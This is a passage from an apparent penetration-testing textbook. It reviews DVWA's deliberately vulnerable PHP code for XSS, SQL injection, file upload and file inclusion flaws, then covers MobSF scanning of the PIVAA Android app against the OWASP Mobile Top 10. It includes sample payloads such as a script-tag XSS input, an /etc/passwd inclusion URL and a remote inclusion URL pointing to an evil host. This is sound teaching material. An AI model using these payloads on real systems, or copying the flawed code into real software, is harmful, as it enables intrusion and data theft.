	Analysis: In this phase, source files identified during the translation phase are scanned and an analysis results file is prepared. Typically, for fortify scanner, Fortify Project (FPR) format is created.

	Verification of the translation and analysis: This phase ensures that the source files were checked using the right rule packs and that no significant errors were reported.



Automated source code review tools

Can we ever imagine kicking back and by hand reviewing each line of code to locate flaws in it? To make our job easier, numerous types of static analysis tools are readily available in the market. They help assess the code during development and identify fatal defects early in the SDLC phase. Such problems can be gotten rid of before the code is really pushed for functional QA. A defect located later on is always pricey to take care of. Here are some of the popular source code review tools, listed in no specific order:


	PVS Studio: Commercial tool that supports C, C++, C++11, C++/CLI, C++/CX, C#, and Java

	Reshift: Commercial tool for Java that uses machine learning

	CAST: Commercial tool supports over 30 languages

	Veracode: Commercial tool that supports Android, ASP.NET, C#, C, C++, Classic ASP, COBOL, ColdFusion/Java, Go, Groovy, iOS, Java, and JavaScript

	Coverity: Commercial tool that supports Android, C#, C, C++, Java, JavaScript, Node.js, Objective-C, PHP, Python, Ruby, Scala, Swift, and VB.NET

	CodeSonar: Commercial tool that supports C, C++, Java, and C# and maps against the OWASP top 10 vulnerabilities

	Fortify static code analyzer: Commercial tool that supports almost all popular programming languages

	CodeScene behavioral code analysis: Commercial tool that supports C, C++, C#, Java, Groovy, JavaScript, TypeScript, Objective C, Scala, Python, Swift, Go, Kotlin, Visual Basic .Net, PHP, Perl, Dart, Erlang, and Ruby

	SonarQube: Free tool that scans source code for fifteen languages for bugs and vulnerabilities



Automated source code review versus manual source code review

As with automated static source code analysis tools, manual secure code review also has its own strengths, restrictions, and costs. Manual source code review is great at unwinding business logic flaws and understanding the actual intentions of a developer. However, automated tools struggle in these areas, causing false positives and, worse, missing potential security issues. Flaws connected to authentication, authorization, cryptography, and total data validation are often best identified by manual analysis.

Likewise, manual review is helpful for analyzing rarely traversed code paths. Analysis strategies like penetration testing or fuzzing only look at code paths for which inputs are supplied. Lesser worked out paths or purposefully hidden code paths can be missed. Automated static analysis tools can comply with these rare paths, but they typically fail to recognize the core business logic associated with them. A rigorous manual code review is usually better able to recognize and analyze these paths that are usually missed or misunderstood by most automated tools.

Examples of different vulnerabilities

By now, we already know that DVWA is a vulnerable web application written in PHP to practice/learn common attacks on web application. We already configured the DVWA VM in our test environment. We assume that you have basic knowledge of PHP and SQL. If not, we recommend that you learn about the basics of PHP MySQL from w3schools.com. From the next section onwards, we will deep dive into several vulnerable components of the DVWA application and take a look at their source code to understand how vulnerability occurs in the application. Viewing server-side vulnerable code in DVWA is easy. In each and every module, you should see an option that will show you the server-side PHP source code, as shown in figure 5.1:
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Figure 5.1: DVWA source code review

Understanding data and code control flow is very important when it comes to finding security problems in an application though source code review. Hence, before we jump into the actual DVWA application, let’s look at ways we can understand data flow in a PHP application in general. Any standard web server receives data from the user/client though either the GET or the POST method, as we have already discussed in the previous chapter (Chapter 4, Web Application and API Penetration Testing). Most web-based attacks are performed by injecting malicious data along with legitimate data. Hence, it's very important to understand how a http client (e.g. web browser) send data to server and how the server side code handles the data. Let’s take a look at a sample HTTP request that gets sent to the server where we enter our username and password in the brute force module of DVWA. We can see the application sending username and password via the GET method in figure 5.2:
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Figure 5.2: Raw HTTP login request

Now, let’s take a look at the server-side PHP source code of the brute force module of DVWA and compare it with raw http request we have seen in figure 5.2 side by side. It will help us understand how user delivered data is consumed by the server-side code:


[image: ]

Figure 5.3: Dataflow in HTTP

Let’s understand the data flow in figure 5.3:


	From the client side, the username, password, and login parameters are being passed to the server. On the right side is the PHP server-side code that is responsible for handling the parameters. Let’s focus on the parameter username for now.

	As we can see, it’s a GET request. The PHP code uses $_GET[‘username’] to extract the GET parameter and save it in the variable $user. In this example, the PHP variable $user will have the value admin in it as it’s being passed by the user/client. If the client-side application would send the parameter via the POST request, the server-side code would have handled the parameter using $_POST[‘username’] instead of $_GET[‘’]. The same applies to other parameters as well.

	Later, we see that the variable $user is passed to several functions: stripslashes() and mysql_real_escape_string(). Additionally, the final value of the variable gets passed to the MySQL database query. Later, the query gets executed using the PHP function mysql_query().



This basic example should give you some idea of how to understand data flow/code control flow within a PHP application. Now, let’s deep dive into the source of other vulnerable components of DVWA. Remember that the source code you view from the View source option changes once you change DVWA security from low to medium or from medium to high.

DVWA cross-site scripting vulnerability

Cross-site scripting attack is possible when an application does not do proper input sanitization and output encoding. The following is the server-side PHP source of DVWA XSS module when security is set to low. Let’s understand what's happening here:


	 <?php

	if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

	 $isempty = true;

	} else {

	 echo '<pre>';

	 echo 'Hello ' . $_GET['name'];

	 echo '</pre>';

	}

	?> 



In line 2, the application checks whether the GET parameter name is sent by the client and ensures that it is not NULL or empty. After that, at line 6, we see that the application retrieves the name parameter using $_GET[‘name‘] and sends it back to the client/browser using an echo statement. So, what is being done wrong here? The parameter name is coming from the client, which is completely untrusted. A malicious user can inject whatever is needed to harm an end user, including malicious JavaScript and HTML code. Typically, an attacker injects JavaScript code, along with <script> tags, to execute XSS payload as the same script gets echoed back to client without any output encoding.

Now, let’s change the DVWA security to medium see how it handles the untrusted data:


	<?php

	if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

	 $isempty = true;

	} else {

	 echo '<pre>';

	 echo 'Hello ' . str_replace('<script>', '', $_GET['name']);

	 echo '</pre>'; 

	}

	?> 



Most of the code remains the same, but we can see some change in line 6. We see that the application now uses the str_replace() PHP function to replace <script> tags. In this particular case, if an attacker injects <script>alert(‘xss’)</script>, the application will echo back the input, but the <script> tag will be replaced/removed. Hence, the final output that goes to the client browser would be alert(‘xss’)</script>. Obviously, the XSS will fail. However, the problem with this mitigation is that it’s only checking a hard coded script tag. If the attacker changes <script> to <sCrIpT>, the filter will fail, and again, the XSS vulnerability can be triggered.

Now, let’s set the DVWA security to high. Again, we can see some changes at line 6. Now, we see a PHP function usage called htmlspecialchars():


	<?php

	if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

	 $isempty = true;

	} else {

	 echo '<pre>';

	 echo 'Hello ' . htmlspecialchars($_GET['name']);

	 echo '</pre>';

	}

	?> 



What does this function do to the input parameter? It basically translates special characters used in HTML code to something else, as shown in figure. 5.4:
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Figure 5.4: htmlspecialchars definition

When the translation happens at the server side, and when attacker injects <script>alert(‘xss’)</script> into the application, the application echoes back &lt;script&gt;alert(‘xss’)&lt;/script&gt;. The browser renders the code, but it’s not treated as JavaScript; hence, the injected code never gets executed within the browser. You can read more about the built in PHP function at the following link: https://www.php.net/manual/en/function.htmlspecialchars.php

DVWA stored cross-site scripting vulnerability

A similar thing happens in the case of DVWA stored XSS as well. However, instead of echoing back the injected data to the client, it saves the untrusted data directly in the database. We see that the application does some sanitization for SQL injection in lines 7 and 8. Now, any application module that retrieves the data and sends it to the client will send the untrusted data to the client, which could be an XSS payload injected by the attacker:


	 <?php

	if(isset($_POST['btnSign']))

	{

	   $message = trim($_POST['mtxMessage']);

	   $name    = trim($_POST['txtName']);  

	   // Sanitize message input

	   $message = stripslashes($message);

	   $message = mysql_real_escape_string($message);  

	   // Sanitize name input

	   $name = mysql_real_escape_string($name); 

	   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";  

	   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

	}

	?> 



DVWA SQL injection vulnerability

SQL injection is a security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Let’s understand the source of the SQLi module of DVWA when the security is set to low:


	<?php 

	if(isset($_GET['Submit'])){

	    // Retrieve data

	    $id = $_GET['id'];

	    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

	    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

	    $num = mysql_numrows($result);

	    $i = 0;

	    while ($i < $num) {

	        $first = mysql_result($result,$i,"first_name");

	        $last = mysql_result($result,$i,"last_name");

	        echo '<pre>';

	        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;

	        echo '</pre>';

	        $i++;

	    }

	}

	?>



The application saves the passed value of parameter id in PHP variable $id at line 4. At line 5, the application crafts the SQL query, and there it uses the variable $id directly, without any sanitization. Line 6 executes the query. It is pretty obvious that line 5 will cause a huge security problem, making the application vulnerable to SQL injection. Let’s change the security to medium and see how it changes:


	<?php

	if (isset($_GET['Submit'])) {

	    // Retrieve data

	    $id = $_GET['id'];

	    $id = mysql_real_escape_string($id);

	    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

	    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

	    $num = mysql_numrows($result);

	    $i=0;

	    while ($i < $num) {

	        $first = mysql_result($result,$i,"first_name");

	        $last = mysql_result($result,$i,"last_name");

	        echo '<pre>';

	        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;

	        echo '</pre>';

	        $i++;

	    }

	}

	?>



We can see that a new function mysql_real_escape_string has been introduced in line 5. mysql_real_escape_string—this function escapes special characters in a string for use in an SQL statement, which will basically prevent SQL injection from happening up to a certain level. You can find more details about the API at the following link: https://www.php.net/manual/en/function.mysql-real-escape-string.php

DVWA blind injection vulnerability

When an attacker tries to exploit an SQL injection vulnerability, sometimes the web application throws error messages from the database stating that the SQL queries syntax is possibly incorrect. Blind SQL injections are nearly identical to generic SQL injections that we have seen so far, with the only difference being the way the query is handled and crafted at the backend. Let’s try to understand the blind SQLi module of DVWA:


	<?php 

	if (isset($_GET['Submit'])) {

	    // Retrieve data

	    $id = $_GET['id'];

	    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

	    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors

	    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'

	    $i = 0;

	    while ($i < $num) {

	        $first = mysql_result($result,$i,"first_name");

	        $last = mysql_result($result,$i,"last_name");

	        echo '<pre>';

	        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;

	        echo '</pre>';

	        $i++;

	    }

	}

	?>



Most of the things are the same here. We see the value of the user passed parameter id being saved in the variable $id at line 4. We see some changes in line 6, where exception/error handler (or die statement) has been removed, to MySQL errors. Additionally, at line 7, the @ character suppresses errors, making the injection blind.

DVWA file upload vulnerability

Uploaded files represent a significant risk to applications. Let’s take a look at the DVWA source of the file upload module when security is set to low:


	<?php

	    if (isset($_POST['Upload'])) {

	            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";

	            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

	            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

	                echo '<pre>';

	                echo 'Your image was not uploaded.';

	                echo '</pre>';                

	              } else {

	                echo '<pre>';

	                echo $target_path . ' successfully uploaded!';

	                echo '</pre>';   

	            }

	        }

	?> 



At line 2, the application checks the presence of the POST parameter Upload in the file upload request that the client sends. Then, at line 4, the application crafts the target path and saves it into the variable $target_path.

So, whenever we push a file to a server-side script (PHP in this case), the server will handle the file and move it to a temporary directory until the processing of the script file is completed. Eventually, it will delete the file from that temporary directory. In this example, $_FILES['file']['tmp_name'] is the path (not name) of that temporary file.

Then, at line 5, we are moving the file using a function called move_uploaded_file to $target_path. Note that the application is made to upload image files, but there is no validation for file type in server-side code, so a user can upload literally any file to the server.

Now, let’s change the security to medium and see how the code changes:


	<?php

	    if (isset($_POST['Upload'])) {

	            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";

	            $target_path = $target_path . basename($_FILES['uploaded']['name']);

	            $uploaded_name = $_FILES['uploaded']['name'];

	            $uploaded_type = $_FILES['uploaded']['type'];

	            $uploaded_size = $_FILES['uploaded']['size'];

	            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

	                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

	                    echo '<pre>';

	                    echo 'Your image was not uploaded.';

	                    echo '</pre>';

	                  } else {

	                    echo '<pre>';

	                    echo $target_path . ' successfully uploaded!';

	                    echo '</pre>';                    

	                    }

	            }

	            else{

	                echo '<pre>Your image was not uploaded.</pre>';

	            }

	        }

	?> 



We have a few new lines, which are lines 5, 6, and 7. They are basically extracting some file attributes, such as file name, type, and size from the upload POST request. Line 8 verifies that file type being uploaded is image/jpeg and that its size is less than 100000 bytes.

These additions definitely enhance the security of the application a bit, but they are not foolproof. Attackers can still upload a malicious script to the server by tweaking the content-type header in the POST upload request using any HTTP interceptor.

DVWA file inclusion

File inclusion vulnerability occurs when a web application allows the user to submit input into files to a server. Let’s understand insecure file inclusion problems in DVWA applications:


	<?php

	    $file = $_GET['page']; //The page we wish to display 

	?> 



In line 2, the application simply takes a file as input from user. By doing this, the web application might allow malicious file execution or sensitive information disclosure.

Local File Inclusion example is as follows:

http://192.168.106/dvwa/fi/?page=../../../../../../etc/passwd

Remote File Inclusion example is as follows:

http://192.168.106/dvwa/fi/?page=http://www.evilsite.com/evil.php

When we sect DVWA security to medium, we see that the code changes a bit:


	<?php

	    $file = $_GET['page']; // The page we wish to display 

	    // Bad input validation

	    $file = str_replace("http://", "", $file);

	    $file = str_replace("https://", "", $file);

	?> 



The application tries to prevent the remote file inclusion by replacing the http:// and https:// strings from the input file name. However, we can understand that it’s not foolproof. If we change the case of http (HtTp://) , the filter will be bypassed. Additionally, it doesn’t prevent local file inclusion attacks.

Conclusion

Performing manual secure source code reviews on any applications on a regular basis is very important. In most cases, these reviews identify hundreds of flaws before these applications go to production. By eliminating these security issues before deployment, an organization can minimize the risk of an attacker exploiting these applications.

A well-defined software assurance program includes a variety of security tools and techniques. Manual source code review often finds flaws that no other automated technique can identify easily. When source code review is combined with penetration testing, design reviews, and developer awareness, it can bring about significant improvement in the overall security of an application.

Points to remember


	Remember, secure code review is definitely not a silver bullet, but it is a strong part of an overall risk mitigation system to protect any software.

	Don’t rely just on automated tools. As mentioned earlier, automated tools have many limitations as they cannot identify logical problems that are specific to an application; that requires manual intervention.

	As a source code reviewer, you will be coming across many applications written in languages that you are reviewing for the very first time. You should keep your mind open to learning about that new language. While doing this, Google is your best friend. Be spontaneous about googling API and function names that you encounter during manual code review. Usually, the search results redirect you to the actual API documentation, be it Java, PHP, .NET, or anything else.

	Try to learn at least one object-oriented programming language. You have to remember that when a programming language name changes, only the syntax changes; the core components/features remain the same, be it loops, functions, classes, constants, or anything else. If you make yourself comfortable with at least one object-oriented programming language, it will be easy for you to read/understand any language. It’s highly recommended to build small projects on your own while learning a language.



Questions


	In any secure source code review interview, candidates face a question where a code snippet is given, and they are asked to do a code walkthrough and identify security problems in it. They are also asked to learn about language specific mitigations.

	Describe the end process of a secure source code review project you’ve done recently.

	What are boundary condition errors?

	What are nullable and non-null annotations?

	What are the limitations of automated source code review?

	What are the limitations of manual source code review?

	What are the different phases of secure source code review?

	What type of errors will an automated source code review tool fail to find?







CHAPTER 6

Penetration Testing Android Mobile Applications


Introduction

Nowadays, both private and public organizations are using mobile apps in brand-new and compelling methods, from banking applications to healthcare platforms. Taking care of security threats on these systems is a growing challenge, with brand-new vulnerabilities being discovered every day. The variety of mobile phone customers has been rising considerably in the last couple of years as mobile applications are becoming an integral part of everyday life. For that reason, protecting the data utilized by mobile apps has become vital. At the business level, Bring Your Own Device (BYOD) policies permit staff members to connect their smart phones to enterprise networks. This gives an opportunity for hackers to pass through the network, as a recent study showed a significant rise in the number of attacks using mobile device malware. So, it is important for security specialists to understand the security for both mobile devices and the applications running on them. Smartphone security has become an emerging area of research study. It mainly concentrates on Mobile Device Monitoring (MDM), device-level security, storage space security, transportation layer security, and smartphone application security.

Structure

We will cover the following topics in this chapter:


	Stages of an Android application penetration testing

	Introduction to Purposefully Insecure and Vulnerable Android Application (PIVAA)

	Automated Android mobile application scanning

	OWASP and mobile security

	Mobile application specific attacks

	Improper platform usage

	Insecure data storage

	Insecure communication

	Insecure authentication

	Insufficient cryptography

	Insecure authorization

	Client code quality

	Code tampering

	Reverse engineering

	Extraneous functionality



	Basic reverse engineering of an Android application

	SSL certificate pinning and bypasses



Objectives

After studying this chapter, you should build up a very strong understanding about OWASP Mobile Top 10 vulnerabilities and how they affect mobile applications and their users. This chapter also discusses some hands-on approaches to perform penetration tests on mobile applications developed for the Android platform. We will cover both automated and manual approaches for Android application penetration testing to find weaknesses defined in OWASP Mobile Top 10.

Stages of an Android application penetration test

In general, a mobile application pen test has the following stages:


	Automated scanning: Automated scanning is the very first stage of any penetration test, where the target application is scanned using tools for finding known and easy-to-find vulnerabilities. The goal of this stage is to find low hanging fruits that can be identified using automation/brute force methodologies without wasting a lot of time finding them manually. In general, automated mobile application scanners check for various common configuration mistakes and programming mistakes by looking for specific patterns in the mobile application package. Automated scanning can be of two types: static scanning and dynamic scanning.

	Manual verification of issue/findings of automated scanning: One of the major limitations of automated vulnerability scanning is that scan results can have false positives. At this stage of mobile application penetration test, penetration testers manually verify the findings of automated scanners, determine the exploitability, and eliminate false positives.

	In depth manual penetration testing: For obvious reasons, an automated scanner misses a lot of logical issues. At this stage of penetration test, the tester will manually dive deep into the application and perform static and runtime analysis of the app to find more vulnerabilities in it. This stage includes application-specific business logic testing (for example, payment gateway bypass, price manipulation, and so on), which is almost impossible to catch through automated scanning in most cases.



Introduction to Purposefully Insecure and Vulnerable Android Application (PIVAA)

Produced by High-Tech Bridge, the Purposefully Insecure and Vulnerable Android Application (PIVAA) replaces obsolete Damn Insecure and Vulnerable App (DIVA) for the benchmark of mobile vulnerability scanners. You can use a totally free online mobile app scanner to run the test and compare it with other applications. This application can be used to evaluate mobile application security scanners and figure out if the scanners can pick up the vulnerabilities present in the PIVAA application. The GitHub repository consists of a list of all the vulnerabilities present in the PIVAA application (https://github.com/HTBridge/pivaa). In this chapter, will dissect the PIVAA app using both automated and manual approaches, and we will dive deep into the several vulnerabilities present in it.

Intercepting PIVAA traffic

In Chapter 3, Setting Up Your Lab for Penetration Testing, we have already discussed the need for an Android app’s HTTP traffic interception and how we can set up our lab to intercept HTTP traffic originating from mobile devices. Burp Suite is one of the most widely used software packages for pen testing not only web applications but also mobile applications. By intercepting the traffic penetration, a tester can test the mobile application installed on the smartphone, the API used by the mobile app, and the server on which the app is hosted. Once you have everything set up as described in Chapter 3, Setting Up Your Lab for Penetration Testing, you should be able to intercept HTTP traffic generated by PIVAA (as shown in figure 6.1):
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Figure 6.1: Intercepting mobile application traffic using Burp Suite

Automated Android mobile application scanning

Penetration testing and vulnerability scanning are commonly confused as being the exact same solution. A vulnerability scan is an automated, high-level test that tries to find and reports prospective vulnerabilities. A penetration test is an in-depth hands-on assessment by an actual person that attempts to discover as well as exploit the weak points in your system. Vulnerability scans are a passive strategy to vulnerability management because they do not surpass reporting on vulnerabilities that are identified. The report determines prospective weak points, but it sometimes includes false positives. A false positive is when a scan identifies a threat that's not real. Sifting with reported vulnerabilities and making certain that they are real and not false positives is important. There are lots of security vulnerability scanners for web applications; the following should aid you to find the security defects in mobile apps.

Introducing Mobile Security Framework (MobSF)

Mobile Security Framework, also known as MobSF, is an automated, all-in-one mobile application (Android/iOS/Windows) penetration testing, and malware analysis, and security assessment framework. MobSF can also perform static and dynamic analysis on mobile application packages. MobSF supports almost all well-known mobile app binaries, such as APK, XAPK, IPA, and APPX, along with zipped source code. It comes with REST API, which allows an organization to seamlessly integrate it with CI/CD or DevSecOps pipeline. MobSF also comes with a dynamic analyzer tool that helps perform runtime security/risk assessment.

Installing Mobile Security Framework (MobSF) on Kali/Linux

Installing MobSF can be really easy. Although it supports all platforms, we recommend that you use it on Linux systems. Let’s take a look at the steps to follow:


	Setting up the environment for MobSF: As a first step, you should install the following applications:

	Install Git: sudo apt-get install git

	Install Python 3.8-3.9: sudo apt-get install python3.8

	Install JDK 8+: sudo apt-get install openjdk-8-jdk



	Then, you need to install the dependencies, which can be downloaded by running the following command:
sudo apt install python3-dev python3-venv python3-pip build-essential libffi-dev libssl-dev libxml2-dev libxslt1-dev libjpeg8-dev zlib1g-dev wkhtmltopdf




Installing MobSF

The following commands will fetch Mobile Security Framework (MobSF) from GitHub and install it on your system:

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git

cd Mobile-Security-Framework-MobSF

./setup.sh

This process usually takes a while.

Running MobSF

Once the installation is completed, you can start MobSF and execute the following command. You can start the MobSF server on your local host on port 8000:

./run.sh 127.0.0.1:8000

Then, you can browse to http://127.0.0.1:8000/ on your preferred web browser; you should see a screen like the one shown in figure 6.2:
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Figure 6.2: MobSF GUI

To understand the most common Android mobile application vulnerabilities, we will start looking at a sample mobile application developed with lots of vulnerabilities in it: PIVAA. First, we will perform an automated vulnerability scan on the sample app and try to understand the different findings; then, we will look at ways to validate them manually to ensure the presence of those security problems.

Running a scan on PIVAA with MobSF

Running vulnerability scans on a mobile application using MobSF is very easy. Once MobSF is up and running, you just need to upload the PIVAA APK, which can be downloaded from https://github.com/HTBridge/pivaa/tree/master/apks. Once you upload the APK, it will take a few minutes, depending on the size of APK, and run several scans on the APK to identify security problems. Once the scanning is done, you will be navigated to a page that looks like figure 6.3. The GUI of the report page will give you a lot of details about the app:
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Figure 6.3: MobSF scan report

OWASP and mobile security

The OWASP mobile security project is a centralized resource meant to provide developers and security analysts with the resources they require to build and maintain safe mobile applications.

Here are OWASP top 10 mobile risks:


	Improper platform usage

	Insecure data storage

	Insecure communication

	Insecure authentication

	Insufficient cryptography

	Insecure authorization

	Client code quality

	Code tampering

	Reverse engineering

	Extraneous functionality



Mobile-specific attacks on Android platform

Now, we will take a look at the different findings of MobSF and where they stand in the OWASP Mobile Top 10 list that you saw in the previous section.

Insecure data storage vulnerability

A majority of applications keep some sort of information regarding their users, usually referred to as personally identifiable information (PII). This can vary from access tokens to medical history and credit card details. If this data is not saved securely, hackers can gain access and use it for various objectives.

Criticality of insecure data storage

Insecure data storage is a high severity vulnerability with numerous possibilities for abuse. Designers frequently think that accessibility to the device’s file system and information on the device data stores are naturally safe and secure. However, file systems are, in fact, quite easily accessible. Additionally, rooted or jail broken devices circumvent the majority of the file encryption. Once there is unauthorized access to such information, hackers can use the data stolen from insecure apps or devices in several methods, with significant consequences for both users and businesses. Here are some instances:


	Fraud: If a hacker manages to gain access to card or payment information, they can make purchases or use the information to carry out email payments scams and frauds where users are routed to deposit payments in incorrect accounts by a seemingly legitimate vendor.

	Track record damages: Major hacks don't just inflict material prices with regulatory penalties, they also cause significant reputational damages.

	Identity theft: Using the information gathered concerning an individual, a hacker can impersonate them to gather even more information or open an account or get a card issued in their name.

	Governing infractions: Multiple policies govern the stringent protection of sensitive data, with steep penalties and various other charges for non-compliance.



Attack vectors of insecure data storage

Insecure data storage space comprises a large number of attack vectors, consisting of poor file encryption, jeopardized devices, and insecure access protocols. The following are some of the ways in which hackers can use insecure data storage space to take data:


	Operating system storage: This consists of exactly how and where the OS stores/caches data, images, and symbols. Poorly stored or cached data can be easily manipulated by hackers.

	Development framework: This refers to how and where an application stores/caches data, photos, and log files or how it syncs them to the cloud. These can all contain sensitive, personally identifiable information. If not handled properly by the development framework, it can be easily accessed and manipulated by hackers.

	Advertisement, analytic, or social network: This is data and information such as cookies; additionally, app user preferences are stored for advertising. It also includes analytics for social media networks to remember a user’s preferences. This information can be hacked and manipulated.

	Rooted or jail broken devices: Compromised devices that run apps outside of an OS’s built-in security framework can be used to gain access to data that hackers wouldn't typically have the ability to access.



Validating insecure data storage vulnerability in PIVAA

MobSF static analyzer decompiles the APK and analyses the source by default. We always have the option to review the decompiled code from MobSF GUI. Once the MobSF is done scanning our PIVAA APK, you should see a section in the report page as shown in figure 6.4:
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Figure 6.4: View MobSF source code

Click on View Source. It will take you to the MobSF code browser, which looks as shown in figure 6.5:
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Figure 6.5: MobSF code browser

Here, you can search through the decompiled code base. To validate the insecure data storage issue in PIVAA, we search for Database, and it should take us to a file named DatabaseHelper.java, as shown in figure 6.6:
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Figure 6.6: MobSF code browser

In the DatabaseHelper.java file, you should see a hard coded database file name, as shown in figure 6.7:
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Figure 6.7: PIVAA DatabaseHelper.java

Once we have the name of the database file, we can fetch the file from the Android database using the following command:

adb pull <remote-file> <local path>

adb pull /data/data/com.htbridge.pivaa/databases/pivaaDB

Once you have the main SQLite database file on your PC, you can use tools like SQLite DB browser to view the content of the file.

Mitigation strategies for insecure data storage

It's vital that data is safeguarded and secured effectively on mobile applications. For mobile apps, this indicates securing all sensitive information, data kept in the application, and also imposing correct consents. Good data encryption strategy helps protect the data stored in device. Considering that you can never be sure if the device itself has been jeopardized, it is essential to execute prior security checks at the time of installation. We also should deploy application shielding technologies to harden code against hacking efforts and protect the file encryption keys. It is also crucial to see exactly how they manage the following types of functions:


	Analytics or similar data sent to third parties

	Browser cookies

	URL caching

	HTML5 data storage

	Application backgrounding

	Keyboard press caching

	Logging

	Copy/paste buffer caching

	Intermediate data



Improper platform usage vulnerability

An operating system provides mobile applications with a wide range of security functionalities and tools. Incorrect platform use is when an application does not implement these attributes correctly, permitting them to be utilized as opportunities of attacks or revealing data to attackers.

Criticality of improper platform usage vulnerability

Through insecure development practices, a revealed API call, such as Android intents, can end up being a way for a hacker to attack an Android gadget. By locating coding defects/imperfections, hackers can exploit the permissions that have been given to an application. They can, subsequently, inject inputs or unforeseen commands to compromise a device and steal data.

Attack vectors of improper platform usage

There are various ways in which applications can inadvertently expose platform vulnerabilities. Unlike the remainder of the OWASP Mobile Top 10 vulnerabilities, these concerns do not solely rest upon the application developers but can also arise from insufficient documentation or bad communication from the OS side. Some of the most typical instances of inappropriate platform usage on Android devices are as follows:


	Android file permissions: When developers don't properly limit app and data access, hackers can tamper with or manipulate data and utilize them to execute harmful code.

	Android intents: Intents are a form of communication in between applications and the Android platform. These intents can be misused and can allow unintentional implementations or be sniffed by an attacker to remove / steal data from a device.



Validating improper platform usage vulnerability in PIVAA

When we navigate to the MobSF permission tab to the left pane (shown in figure 6.8), you should be able to see that MobSF has summarized all permission that the target app is seeking to run:
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Figure 6.8: MobSF permissions tab

In the Permissions section, we should see PIVAA seeking the following permissions from the user to run:

android.permission.ACCESS_COARSE_LOCATION

android.permission.ACCESS_FINE_LOCATION

android.permission.CALL_PHONE

android.permission.CAMERA

android.permission.GET_ACCOUNTS

android.permission.INTERNET

android.permission.NFC

android.permission.READ_PROFILE

We should also see that MobSF has pointed out dangerous vulnerabilities, as shown in figure 6.9:
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Figure 6.9: MobSF improper platform usage vulnerability

When validating improper platform usage issues in any app, the pentester should always review the business logic of the app thoroughly to understand which permission is necessary for the business logic and which ones are not. Based on the understanding, the pentester should communicate to the developer which permission should be revoked.

Mitigation strategies for improper platform usage

Secure application coding and application configuration practises is the very first step to make any android application secure from Improper Platform Usage vulnerability. However, secure coding and configuration practices should be used on the server side of the mobile application. For specific vulnerability information, developers should also refer to the OWASP Web Top Ten or Cloud Top Ten projects. Apps should additionally be limited from interacting with various other apps, which prevents them from ending up being major exploits and/or giving way to substantial reputational damages.

Insecure communication vulnerability

Mobile applications constantly send out and receive data in a client-server arrangement, either through a telecommunications provider network or through the internet. Additionally, apps that can be used offline occasionally connect to a web server to obtain updates. Hackers can eavesdrop on these transmissions to take sensitive data coming from a user's device or change the data that is being sent to it.

Criticality of insecure communication

Insecure communication is thought to be an easy to exploit vulnerability with high intensity among the OWASP Mobile Top 10 vulnerabilities. Mobile phones may use the internet through several mediums, such as residence or work Wi-Fi, open Wi-Fi in a public room or cafe, or over their mobile service provider's network.

Sensitive data, including encryption secrets, personal information, payment details, passwords, and metadata, can all become visible if a hacker obstructs the interactions. Man-in-the-middle attacks are common attacks in terms insecure communication.

Attack vectors of insecure communication

Mobile apps are at risk to insecure communication if transportation security is not sufficient or is not applied appropriately. Here are some situations where hackers can manipulate mobile app communication:


	An attacker can already be connected to a target network and can carry out a Man-In-The-Middle (MITM) attack to eavesdrop on legitimate communication. This includes Wi-Fi networks or peripheral network routers.

	Data can be tampered while it is being transmitted between the server and client, referred to as a MITM attack.

	There may be malware already on the device or a compromised application that spies on communication.



Validating insecure communication in PIVAA

Looking at source of com/htbridge/pivaa/handlers/API.java, we see a call to setHostnameVerifier(), and the argument that is being passed to it is DO_NOT_VERIFY, which forcefully disables the client-side, certificate verification, as shown in figure 6.10:
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Figure 6.10: PIVAA insecure communication Decompiled code snippet

The problem that occurs here is that when the secure (HTTPS) communication between the app and server is being intercepted by a third-party malicious actor (for example, with the help of a self-signed certificate), the client doesn’t terminate the HTTPS connection. Hence, the malicious third-party can see the clear text HTTPS communication. More details on the API can be found here:

https://developer.android.com/reference/javax/net/ssl/HttpsURLConnection#setHostnameVerifier(javax.net.ssl.HostnameVerifier)

There are other instances of insecure communication in PIVAA as well. Looking at the source of com/htbridge/pivaa/handlers/API.java, we can see that it uses HttpURLConnection instead of HttpsURLConnection (shown in figure 6.11) in one of the instances, which makes an intruder's life much easier. Anyone performing an MITM attack can easily see the clear text traffic:


[image: ]

Figure 6.11: PIVAA insecure communication code snippet

Mitigation strategies for insecure communication

Like various other problems on the OWASP Mobile Top 10 listing, there are various ways in which hackers can exploit insecure communication. Shielding mobile applications against these attacks can be done by simply following some of these methods:


	The first few packets of an SSL/TLS handshake should be verified appropriately (for example, client supported cipher suites), do not proceed with the connection if anomaly was seen at the first stage.

	The server certificate should always be verified at the client end to ensure that it’s coming from a verified source and is not self-signed. Self-signed certificates are usually considered suspicious.

	Using industry-leading cipher suites that utilize adequate encryption key lengths (Example, Advanced Encryption Standard (AES128) or above).

	Flaws in network web traffic or certificate should be flagged immediately to the user, allowing them to decide on the next step of action.



Insufficient cryptography vulnerability

With a large number of threats targeting mobile applications, it also important to consider that the gadgets they run on might be jail broken (also known as rooted) or compromised in other ways. In such cases it can be really challenging to avoid data from falling into the hands of criminals. This risk can be only mitigated if the data at risk is correctly encrypted.

Criticality of insufficient cryptography

